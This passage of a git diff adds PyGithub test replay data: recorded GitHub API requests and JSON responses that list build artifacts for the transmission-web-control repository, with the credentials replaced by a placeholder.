=","name":"build-zip","size_in_bytes":4128805,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/717764906","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/717764906/zip","expired":false,"created_at":"2023-05-27T02:40:44Z","updated_at":"2023-05-27T02:40:45Z","expires_at":"2023-08-25T02:40:38Z","workflow_run":{"id":5096595543,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"replace-datagrip","head_sha":"f4d5a1aa955da8ab31da14112663ec412701b71c"}},{"id":717764905,"node_id":"MDg6QXJ0aWZhY3Q3MTc3NjQ5MDU=","name":"build-tar","size_in_bytes":3848535,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/717764905","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/717764905/zip","expired":false,"created_at":"2023-05-27T02:40:44Z","updated_at":"2023-05-27T02:40:45Z","expires_at":"2023-08-25T02:40:36Z","workflow_run":{"id":5096595543,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"replace-datagrip","head_sha":"f4d5a1aa955da8ab31da14112663ec412701b71c"}},{"id":717763079,"node_id":"MDg6QXJ0aWZhY3Q3MTc3NjMwNzk=","name":"build-zip","size_in_bytes":4128610,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/717763079","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/717763079/zip","expired":false,"created_at":"2023-05-27T02:37:01Z","updated_at":"2023-05-27T02:37:03Z","expires_at":"2023-08-25T02:36:56Z","workflow_run":{"id":5096578882,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"replace-datagrip","head_sha":"7357b81cff52be82cb8db730210c46c98b41d03a"}},{"id":717763078,"node_id":"MDg6QXJ0aWZhY3Q3MTc3NjMwNzg=","name":"build-tar","size_in_bytes":3848252,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/717763078","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/717763078/zip","expired":false,"created_at":"2023-05-27T02:37:01Z","updated_at":"2023-05-27T02:37:03Z","expires_at":"2023-08-25T02:36:54Z","workflow_run":{"id":5096578882,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"replace-datagrip","head_sha":"7357b81cff52be82cb8db730210c46c98b41d03a"}},{"id":717755881,"node_id":"MDg6QXJ0aWZhY3Q3MTc3NTU4ODE=","name":"build-zip","size_in_bytes":4129475,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/717755881","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/717755881/zip","expired":false,"created_at":"2023-05-27T02:24:58Z","updated_at":"2023-05-27T02:25:00Z","expires_at":"2023-08-25T02:24:51Z","workflow_run":{"id":5096524174,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"replace-datagrip","head_sha":"87897c2201dca32475662a6b86fa5f7555eb7cf1"}},{"id":717755880,"node_id":"MDg6QXJ0aWZhY3Q3MTc3NTU4ODA=","name":"build-tar","size_in_bytes":3849175,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/717755880","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/717755880/zip","expired":false,"created_at":"2023-05-27T02:24:58Z","updated_at":"2023-05-27T02:25:00Z","expires_at":"2023-08-25T02:24:49Z","workflow_run":{"id":5096524174,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"replace-datagrip","head_sha":"87897c2201dca32475662a6b86fa5f7555eb7cf1"}},{"id":717458842,"node_id":"MDg6QXJ0aWZhY3Q3MTc0NTg4NDI=","name":"build-zip","size_in_bytes":4142785,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/717458842","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/717458842/zip","expired":false,"created_at":"2023-05-26T20:17:06Z","updated_at":"2023-05-26T20:17:06Z","expires_at":"2023-08-24T20:17:00Z","workflow_run":{"id":5094636855,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"replace-datagrip","head_sha":"0c618163ed982dafe1a6ba8f387cba6fc3ccfb3e"}},{"id":717458840,"node_id":"MDg6QXJ0aWZhY3Q3MTc0NTg4NDA=","name":"build-tar","size_in_bytes":3851507,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/717458840","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/717458840/zip","expired":false,"created_at":"2023-05-26T20:17:06Z","updated_at":"2023-05-26T20:17:06Z","expires_at":"2023-08-24T20:16:59Z","workflow_run":{"id":5094636855,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"replace-datagrip","head_sha":"0c618163ed982dafe1a6ba8f387cba6fc3ccfb3e"}}]} diff --git a/tests/ReplayData/Artifact.testGetArtifactsFromRepoWithName.txt b/tests/ReplayData/Artifact.testGetArtifactsFromRepoWithName.txt new file mode 100644 index 0000000000..79711a5f2c --- /dev/null +++ b/tests/ReplayData/Artifact.testGetArtifactsFromRepoWithName.txt @@ -0,0 +1,120 @@ +https +GET +api.github.com +None +/repos/transmission-web-control/transmission-web-control/actions/artifacts?name=build-tar&per_page=1 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 01 Jun 2023 09:00:15 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"ff3b71e4f4d19dd02eae5deb3d47ffe3bafcec4e64e5e7438c47a1495aafb01f"'), ('X-OAuth-Scopes', 'delete:packages, gist, read:discussion, read:org, repo, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4697'), ('X-RateLimit-Reset', '1685613199'), ('X-RateLimit-Used', '303'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '3A92:06B7:65A744:6ABDE8:64785E1F')] +{"total_count":296,"artifacts":[{"id":724959170,"node_id":"MDg6QXJ0aWZhY3Q3MjQ5NTkxNzA=","name":"build-tar","size_in_bytes":1597578,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/724959170","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/724959170/zip","expired":false,"created_at":"2023-05-31T22:13:53Z","updated_at":"2023-05-31T22:13:54Z","expires_at":"2023-08-29T22:13:21Z","workflow_run":{"id":5138174031,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"chore/i18n-pull","head_sha":"422d7ddc771d36f613e863db5ceb2bc5dae6849e"}}]} + +https +GET +api.github.com +None +/repos/transmission-web-control/transmission-web-control/actions/artifacts?name=build-tar +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 01 Jun 2023 09:00:16 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"141c86ab982b7ffbabb8f815b9a121e7c540c5f92e2c8ad8aa6c92069b42a8bc"'), ('X-OAuth-Scopes', 'delete:packages, gist, read:discussion, read:org, repo, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4696'), ('X-RateLimit-Reset', '1685613199'), ('X-RateLimit-Used', '304'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '6310:7777:4794D2:4B1EFE:64785E1F')] +{"total_count":296,"artifacts":[{"id":724959170,"node_id":"MDg6QXJ0aWZhY3Q3MjQ5NTkxNzA=","name":"build-tar","size_in_bytes":1597578,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/724959170","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/724959170/zip","expired":false,"created_at":"2023-05-31T22:13:53Z","updated_at":"2023-05-31T22:13:54Z","expires_at":"2023-08-29T22:13:21Z","workflow_run":{"id":5138174031,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"chore/i18n-pull","head_sha":"422d7ddc771d36f613e863db5ceb2bc5dae6849e"}},{"id":724958830,"node_id":"MDg6QXJ0aWZhY3Q3MjQ5NTg4MzA=","name":"build-tar","size_in_bytes":1597386,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/724958830","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/724958830/zip","expired":false,"created_at":"2023-05-31T22:13:35Z","updated_at":"2023-05-31T22:13:36Z","expires_at":"2023-08-29T22:13:17Z","workflow_run":{"id":5138173436,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"chore/i18n-pull","head_sha":"2c1a086e4db4dc677804eea6b461dbcf963d03f5"}},{"id":724958278,"node_id":"MDg6QXJ0aWZhY3Q3MjQ5NTgyNzg=","name":"build-tar","size_in_bytes":1596631,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/724958278","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/724958278/zip","expired":false,"created_at":"2023-05-31T22:13:10Z","updated_at":"2023-05-31T22:13:11Z","expires_at":"2023-08-29T22:12:34Z","workflow_run":{"id":5138168043,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"master","head_sha":"64fe2f32cfc56d0303881313bdcb41e433173893"}},{"id":724958104,"node_id":"MDg6QXJ0aWZhY3Q3MjQ5NTgxMDQ=","name":"build-tar","size_in_bytes":1596716,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/724958104","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/724958104/zip","expired":false,"created_at":"2023-05-31T22:13:04Z","updated_at":"2023-05-31T22:13:06Z","expires_at":"2023-08-29T22:12:54Z","workflow_run":{"id":5138169628,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"master","head_sha":"03c2d3a9830af81414810cc51f6507073b7451f2"}},{"id":724571553,"node_id":"MDg6QXJ0aWZhY3Q3MjQ1NzE1NTM=","name":"build-tar","size_in_bytes":1619200,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/724571553","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/724571553/zip","expired":false,"created_at":"2023-05-31T18:22:16Z","updated_at":"2023-05-31T18:22:17Z","expires_at":"2023-08-29T18:22:07Z","workflow_run":{"id":5136342688,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"renovate/vitest","head_sha":"b6c1cae9eb017767462dc4899f07a64596f531c3"}},{"id":719509137,"node_id":"MDg6QXJ0aWZhY3Q3MTk1MDkxMzc=","name":"build-tar","size_in_bytes":3837848,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/719509137","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/719509137/zip","expired":false,"created_at":"2023-05-29T06:12:32Z","updated_at":"2023-05-29T06:12:33Z","expires_at":"2023-08-27T06:12:10Z","workflow_run":{"id":5109062352,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"replace-datagrip","head_sha":"b4abc8ce51271dfedb511683be21b7b48a9b2ad4"}},{"id":719499499,"node_id":"MDg6QXJ0aWZhY3Q3MTk0OTk0OTk=","name":"build-tar","size_in_bytes":3839759,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/719499499","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/719499499/zip","expired":false,"created_at":"2023-05-29T06:02:13Z","updated_at":"2023-05-29T06:02:14Z","expires_at":"2023-08-27T06:02:03Z","workflow_run":{"id":5108983377,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"replace-datagrip","head_sha":"ce3c2d5245d2677807a9458525f2df1aa8300193"}},{"id":719493097,"node_id":"MDg6QXJ0aWZhY3Q3MTk0OTMwOTc=","name":"build-tar","size_in_bytes":3850792,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/719493097","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/719493097/zip","expired":false,"created_at":"2023-05-29T05:54:09Z","updated_at":"2023-05-29T05:54:10Z","expires_at":"2023-08-27T05:53:59Z","workflow_run":{"id":5108942407,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"replace-datagrip","head_sha":"ee355303e745ceea20e7ef7a15ea327aa99fa6d1"}},{"id":719481789,"node_id":"MDg6QXJ0aWZhY3Q3MTk0ODE3ODk=","name":"build-tar","size_in_bytes":3840434,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/719481789","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/719481789/zip","expired":false,"created_at":"2023-05-29T05:40:13Z","updated_at":"2023-05-29T05:40:14Z","expires_at":"2023-08-27T05:40:07Z","workflow_run":{"id":5108881757,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"replace-datagrip","head_sha":"c41c4a81cdbb78d894d48b4da62f966d8f74d456"}},{"id":719165613,"node_id":"MDg6QXJ0aWZhY3Q3MTkxNjU2MTM=","name":"build-tar","size_in_bytes":1596624,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/719165613","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/719165613/zip","expired":false,"created_at":"2023-05-29T00:15:23Z","updated_at":"2023-05-29T00:15:25Z","expires_at":"2023-08-27T00:14:48Z","workflow_run":{"id":5107122912,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"renovate/pnpm-8.x","head_sha":"e8278036915bf4b53c2dac63b65200f97d9d1c6c"}},{"id":718274028,"node_id":"MDg6QXJ0aWZhY3Q3MTgyNzQwMjg=","name":"build-tar","size_in_bytes":3838725,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/718274028","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/718274028/zip","expired":false,"created_at":"2023-05-27T18:09:28Z","updated_at":"2023-05-27T18:09:29Z","expires_at":"2023-08-25T18:09:21Z","workflow_run":{"id":5100128989,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"replace-datagrip","head_sha":"b29728a0cfa16282c41a1f1e130a5f10547035a0"}},{"id":717764905,"node_id":"MDg6QXJ0aWZhY3Q3MTc3NjQ5MDU=","name":"build-tar","size_in_bytes":3848535,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/717764905","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/717764905/zip","expired":false,"created_at":"2023-05-27T02:40:44Z","updated_at":"2023-05-27T02:40:45Z","expires_at":"2023-08-25T02:40:36Z","workflow_run":{"id":5096595543,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"replace-datagrip","head_sha":"f4d5a1aa955da8ab31da14112663ec412701b71c"}},{"id":717763078,"node_id":"MDg6QXJ0aWZhY3Q3MTc3NjMwNzg=","name":"build-tar","size_in_bytes":3848252,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/717763078","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/717763078/zip","expired":false,"created_at":"2023-05-27T02:37:01Z","updated_at":"2023-05-27T02:37:03Z","expires_at":"2023-08-25T02:36:54Z","workflow_run":{"id":5096578882,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"replace-datagrip","head_sha":"7357b81cff52be82cb8db730210c46c98b41d03a"}},{"id":717755880,"node_id":"MDg6QXJ0aWZhY3Q3MTc3NTU4ODA=","name":"build-tar","size_in_bytes":3849175,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/717755880","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/717755880/zip","expired":false,"created_at":"2023-05-27T02:24:58Z","updated_at":"2023-05-27T02:25:00Z","expires_at":"2023-08-25T02:24:49Z","workflow_run":{"id":5096524174,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"replace-datagrip","head_sha":"87897c2201dca32475662a6b86fa5f7555eb7cf1"}},{"id":717458840,"node_id":"MDg6QXJ0aWZhY3Q3MTc0NTg4NDA=","name":"build-tar","size_in_bytes":3851507,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/717458840","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/717458840/zip","expired":false,"created_at":"2023-05-26T20:17:06Z","updated_at":"2023-05-26T20:17:06Z","expires_at":"2023-08-24T20:16:59Z","workflow_run":{"id":5094636855,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"replace-datagrip","head_sha":"0c618163ed982dafe1a6ba8f387cba6fc3ccfb3e"}},{"id":717446564,"node_id":"MDg6QXJ0aWZhY3Q3MTc0NDY1NjQ=","name":"build-tar","size_in_bytes":1597579,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/717446564","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/717446564/zip","expired":false,"created_at":"2023-05-26T20:08:01Z","updated_at":"2023-05-26T20:08:03Z","expires_at":"2023-08-24T20:07:54Z","workflow_run":{"id":5094572508,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"chore/i18n-pull","head_sha":"8a78b13d4dbda166206759c5abdefbd7dd216a17"}},{"id":717446208,"node_id":"MDg6QXJ0aWZhY3Q3MTc0NDYyMDg=","name":"build-tar","size_in_bytes":1596586,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/717446208","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/717446208/zip","expired":false,"created_at":"2023-05-26T20:07:44Z","updated_at":"2023-05-26T20:07:45Z","expires_at":"2023-08-24T20:07:20Z","workflow_run":{"id":5094568259,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"master","head_sha":"d507ac3b6315a863c82d8d728e8f9ca3dacc438c"}},{"id":717430518,"node_id":"MDg6QXJ0aWZhY3Q3MTc0MzA1MTg=","name":"build-tar","size_in_bytes":3851422,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/717430518","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/717430518/zip","expired":false,"created_at":"2023-05-26T19:56:02Z","updated_at":"2023-05-26T19:56:04Z","expires_at":"2023-08-24T19:55:54Z","workflow_run":{"id":5094486308,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"replace-datagrip","head_sha":"403fe2ed654dfc0b7758479b7b5d975d0ed41a33"}},{"id":717243179,"node_id":"MDg6QXJ0aWZhY3Q3MTcyNDMxNzk=","name":"build-tar","size_in_bytes":3855697,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/717243179","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/717243179/zip","expired":false,"created_at":"2023-05-26T17:41:53Z","updated_at":"2023-05-26T17:41:54Z","expires_at":"2023-08-24T17:41:44Z","workflow_run":{"id":5093530208,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"replace-datagrip","head_sha":"13305b930f0ba205549ea52915929d910bb8ab2c"}},{"id":713298894,"node_id":"MDg6QXJ0aWZhY3Q3MTMyOTg4OTQ=","name":"build-tar","size_in_bytes":1597408,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/713298894","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/713298894/zip","expired":false,"created_at":"2023-05-24T20:24:28Z","updated_at":"2023-05-24T20:24:29Z","expires_at":"2023-08-22T20:24:19Z","workflow_run":{"id":5073105754,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"chore/i18n-pull","head_sha":"3755a3156c4102b4537c734a728bb285cc92b327"}},{"id":711576101,"node_id":"MDg6QXJ0aWZhY3Q3MTE1NzYxMDE=","name":"build-tar","size_in_bytes":1596657,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/711576101","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/711576101/zip","expired":false,"created_at":"2023-05-24T03:53:55Z","updated_at":"2023-05-24T03:53:56Z","expires_at":"2023-08-22T03:53:37Z","workflow_run":{"id":5064509989,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"master","head_sha":"06e4d580c858d16bc1271e08ce5b19fd58623074"}},{"id":711560829,"node_id":"MDg6QXJ0aWZhY3Q3MTE1NjA4Mjk=","name":"build-tar","size_in_bytes":1601501,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/711560829","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/711560829/zip","expired":false,"created_at":"2023-05-24T03:35:24Z","updated_at":"2023-05-24T03:35:25Z","expires_at":"2023-08-22T03:35:06Z","workflow_run":{"id":5064428763,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"master","head_sha":"d9487a697d45ab7b6c514a7eeb5c612ca789f9bf"}},{"id":711560578,"node_id":"MDg6QXJ0aWZhY3Q3MTE1NjA1Nzg=","name":"build-tar","size_in_bytes":1602064,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/711560578","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/711560578/zip","expired":false,"created_at":"2023-05-24T03:35:01Z","updated_at":"2023-05-24T03:35:03Z","expires_at":"2023-08-22T03:34:54Z","workflow_run":{"id":5064427433,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"master","head_sha":"487dbef5670bcfa666816f16e48728ceda164c32"}},{"id":711548839,"node_id":"MDg6QXJ0aWZhY3Q3MTE1NDg4Mzk=","name":"build-tar","size_in_bytes":1611184,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/711548839","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/711548839/zip","expired":false,"created_at":"2023-05-24T03:20:41Z","updated_at":"2023-05-24T03:20:42Z","expires_at":"2023-08-22T03:20:20Z","workflow_run":{"id":5064350644,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"master","head_sha":"22bea36245dac8a75daaad5625ff9df5f40ec19a"}},{"id":711548580,"node_id":"MDg6QXJ0aWZhY3Q3MTE1NDg1ODA=","name":"build-tar","size_in_bytes":1601272,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/711548580","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/711548580/zip","expired":false,"created_at":"2023-05-24T03:20:21Z","updated_at":"2023-05-24T03:20:22Z","expires_at":"2023-08-22T03:19:57Z","workflow_run":{"id":5064349729,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"master","head_sha":"d423c2f0450674a567b6769e34f4a30eadb7c405"}},{"id":711502738,"node_id":"MDg6QXJ0aWZhY3Q3MTE1MDI3Mzg=","name":"build-tar","size_in_bytes":1613512,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/711502738","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/711502738/zip","expired":false,"created_at":"2023-05-24T02:31:05Z","updated_at":"2023-05-24T02:31:08Z","expires_at":"2023-08-22T02:30:38Z","workflow_run":{"id":5064068573,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"master","head_sha":"ef756ddd3401ef99b3f90f3a193db1612c16a975"}},{"id":711501988,"node_id":"MDg6QXJ0aWZhY3Q3MTE1MDE5ODg=","name":"build-tar","size_in_bytes":1601555,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/711501988","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/711501988/zip","expired":false,"created_at":"2023-05-24T02:30:22Z","updated_at":"2023-05-24T02:30:23Z","expires_at":"2023-08-22T02:30:07Z","workflow_run":{"id":5064065395,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"master","head_sha":"10877f086c0c2bff7419a367bf25c85f6662e477"}},{"id":708592656,"node_id":"MDg6QXJ0aWZhY3Q3MDg1OTI2NTY=","name":"build-tar","size_in_bytes":1611441,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/708592656","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/708592656/zip","expired":false,"created_at":"2023-05-22T17:39:33Z","updated_at":"2023-05-22T17:39:34Z","expires_at":"2023-08-20T17:39:27Z","workflow_run":{"id":5048776800,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"master","head_sha":"9c2067825b03c4204b2c6b569ea5e37d8e9a1000"}},{"id":708590884,"node_id":"MDg6QXJ0aWZhY3Q3MDg1OTA4ODQ=","name":"build-tar","size_in_bytes":1612533,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/708590884","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/708590884/zip","expired":false,"created_at":"2023-05-22T17:38:16Z","updated_at":"2023-05-22T17:38:17Z","expires_at":"2023-08-20T17:38:03Z","workflow_run":{"id":5048774509,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"master","head_sha":"ed4f0f579e9c1b1bb05955e4ea9c23c8872ce698"}},{"id":704106045,"node_id":"MDg6QXJ0aWZhY3Q3MDQxMDYwNDU=","name":"build-tar","size_in_bytes":1601451,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/704106045","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/704106045/zip","expired":false,"created_at":"2023-05-19T05:28:53Z","updated_at":"2023-05-19T05:28:54Z","expires_at":"2023-08-17T05:28:37Z","workflow_run":{"id":5021156237,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"master","head_sha":"25c032f164d32e97d3ca5c972816486cc259fe2f"}}]} + +https +GET +api.github.com +None +/repositories/631628708/actions/artifacts?name=build-tar&page=2 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 01 Jun 2023 09:00:16 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"7aabd4f5532bd576ee59fd8b8d666bd36a552a51e5a47a55e7fa962f541d4166"'), ('X-OAuth-Scopes', 'delete:packages, gist, read:discussion, read:org, repo, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="prev", ; rel="next", ; rel="last", ; rel="first"'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4695'), ('X-RateLimit-Reset', '1685613199'), ('X-RateLimit-Used', '305'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, 